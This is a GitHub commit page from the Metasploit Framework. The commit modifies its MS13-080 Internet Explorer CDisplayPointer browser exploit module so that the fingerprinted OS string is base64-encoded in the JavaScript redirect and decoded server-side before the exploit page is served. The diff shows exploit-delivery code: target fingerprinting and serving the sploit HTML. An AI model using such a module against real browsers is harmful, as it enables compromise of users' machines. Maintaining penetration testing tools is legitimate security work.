Skip to content

Commit

Permalink
Land #2528, base64 for ms13-080
Browse files Browse the repository at this point in the history
  • Loading branch information
egypt committed Oct 16, 2013
2 parents 2833d58 + 06a2122 commit d13fa7e
Showing 1 changed file with 9 additions and 2 deletions.
11 changes: 9 additions & 2 deletions modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb
Original file line number Diff line number Diff line change
Expand Up @@ -76,6 +76,7 @@ def initialize(info={})
},
'DefaultOptions' =>
{
#'PrependMigrate' => true,
'InitialAutoRunScript' => 'migrate -f'
},
'Privileged' => false,
Expand All @@ -88,6 +89,7 @@ def initialize(info={})
def get_check_html
%Q|<html>
<script>
#{js_base64}
#{js_os_detect}
function os() {
Expand Down Expand Up @@ -119,7 +121,7 @@ def get_check_html
}
window.onload = function() {
window.location = "#{get_resource}/search?o=" + escape(os()) + "&d=" + dll();
window.location = "#{get_resource}/search?o=" + escape(Base64.encode(os())) + "&d=" + dll();
}
</script>
</html>
Expand Down Expand Up @@ -280,7 +282,12 @@ def get_sploit_html(target_info)

def on_request_uri(cli, request)
if request.uri =~ /search\?o=(.+)\&d=(.+)$/
target_info = { :os => Rex::Text.uri_decode($1), :dll => Rex::Text.uri_decode($2) }
target_info =
{
:os => Rex::Text.decode_base64(Rex::Text.uri_decode($1)),
:dll => Rex::Text.uri_decode($2)
}

sploit = get_sploit_html(target_info)
send_response(cli, sploit, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
return
Expand Down

0 comments on commit d13fa7e

Please sign in to comment.